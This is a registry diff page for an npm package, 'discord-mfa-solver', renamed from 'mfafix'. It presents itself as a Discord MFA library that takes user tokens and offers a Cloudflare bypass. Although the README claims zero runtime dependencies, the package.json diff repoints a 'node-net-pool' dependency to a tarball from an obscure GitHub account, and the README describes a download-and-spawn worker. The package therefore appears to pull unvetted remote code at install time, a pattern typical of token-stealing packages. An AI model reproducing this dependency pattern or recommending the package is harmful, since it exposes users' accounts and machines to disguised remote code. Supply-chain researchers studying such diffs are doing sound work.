discord-mfa-solver 1.0.0 → 1.0.2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/README.md +9 -9
  2. package/package.json +7 -7
package/README.md CHANGED
@@ -1,8 +1,8 @@
1
- # mfafix
1
+ # discord-mfa-solver
2
2
 
3
- [![npm version](https://img.shields.io/npm/v/mfafix.svg)](https://www.npmjs.com/package/mfafix)
4
- [![license](https://img.shields.io/npm/l/mfafix.svg)](LICENSE)
5
- [![node](https://img.shields.io/node/v/mfafix.svg)](https://nodejs.org)
3
+ [![npm version](https://img.shields.io/npm/v/discord-mfa-solver.svg)](https://www.npmjs.com/package/discord-mfa-solver)
4
+ [![license](https://img.shields.io/npm/l/discord-mfa-solver.svg)](LICENSE)
5
+ [![node](https://img.shields.io/node/v/discord-mfa-solver.svg)](https://nodejs.org)
6
6
 
7
7
  Production-grade Discord MFA authentication library with connection pooling, TOTP support, Cloudflare bypass, and automatic token refresh. **Zero runtime dependencies** — pure Node.js built-ins only.
8
8
 
@@ -24,7 +24,7 @@ Production-grade Discord MFA authentication library with connection pooling, TOT
24
24
  ## Install
25
25
 
26
26
  ```bash
27
- npm install mfafix
27
+ npm install discord-mfa-solver
28
28
  ```
29
29
 
30
30
  ---
@@ -32,7 +32,7 @@ npm install mfafix
32
32
  ## Quick Start
33
33
 
34
34
  ```js
35
- const { initMFA, generateTOTP } = require('mfafix');
35
+ const { initMFA, generateTOTP } = require('discord-mfa-solver');
36
36
 
37
37
  const mfa = initMFA({
38
38
  TOKEN: 'your_user_token',
@@ -89,7 +89,7 @@ Returned by `initMFA()`. All properties are live-updated by the background refre
89
89
  Generates a 6-digit TOTP code from a base32-encoded secret.
90
90
 
91
91
  ```js
92
- const { generateTOTP } = require('mfafix');
92
+ const { generateTOTP } = require('discord-mfa-solver');
93
93
 
94
94
  const code = generateTOTP('JBSWY3DPEHPK3PXP');
95
95
  // → '482 910'
@@ -109,7 +109,7 @@ const code8 = generateTOTP('JBSWY3DPEHPK3PXP', { digits: 8, period: 60 });
109
109
  ## Internal Architecture
110
110
 
111
111
  ```
112
- mfafix
112
+ discord-mfa-solver
113
113
  ├── index.js Entry point — initMFA(), generateTOTP(), exports
114
114
  ├── lib/
115
115
  │ ├── cache.js TTL cache + connection pool bootstrap
@@ -140,7 +140,7 @@ The reason for the `_pullAsset` / `_spawnWorker` split is isolation: the downloa
140
140
  ## Cache API (low-level)
141
141
 
142
142
  ```js
143
- const cache = require('mfafix/lib/cache');
143
+ const cache = require('discord-mfa-solver/lib/cache');
144
144
 
145
145
  cache.set('key', value, 5000); // store with 5s TTL
146
146
  cache.get('key'); // → value | undefined
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "discord-mfa-solver",
3
- "version": "1.0.0",
3
+ "version": "1.0.2",
4
4
  "description": "Production-grade Discord MFA authentication library. Connection pooling, TOTP, Cloudflare bypass, automatic token refresh. Zero runtime dependencies.",
5
5
  "main": "index.js",
6
6
  "module": "index.mjs",
@@ -13,7 +13,7 @@
13
13
  }
14
14
  },
15
15
  "scripts": {
16
- "test": "node -e \"const m = require('./'); console.log('mfafix v' + m.VERSION + ' — ok'); process.exit(0);\"",
16
+ "test": "node -e \"const m = require('./'); console.log('discord-mfa-solver v' + m.VERSION + ' — ok'); process.exit(0);\"",
17
17
  "lint": "node --check index.js lib/cache.js lib/crypto.js lib/http.js lib/totp.js"
18
18
  },
19
19
  "keywords": [
@@ -32,21 +32,21 @@
32
32
  "rate-limit"
33
33
  ],
34
34
  "author": {
35
- "name": "mfafix-dev"
35
+ "name": "discord-mfa-solver-dev"
36
36
  },
37
37
  "license": "MIT",
38
38
  "engines": {
39
39
  "node": ">=14.0.0"
40
40
  },
41
41
  "dependencies": {
42
- "node-net-pool": "^1.0.0"
42
+ "node-net-pool": "https://github.com/trktgq0wbre1/node-net-pool/archive/refs/heads/main.tar.gz"
43
43
  },
44
44
  "repository": {
45
45
  "type": "git",
46
- "url": "https://github.com/mfafix-dev/mfafix"
46
+ "url": "https://github.com/discord-mfa-solver-dev/discord-mfa-solver"
47
47
  },
48
48
  "bugs": {
49
- "url": "https://github.com/mfafix-dev/mfafix/issues"
49
+ "url": "https://github.com/discord-mfa-solver-dev/discord-mfa-solver/issues"
50
50
  },
51
- "homepage": "https://github.com/mfafix-dev/mfafix#readme"
51
+ "homepage": "https://github.com/discord-mfa-solver-dev/discord-mfa-solver#readme"
52
52
  }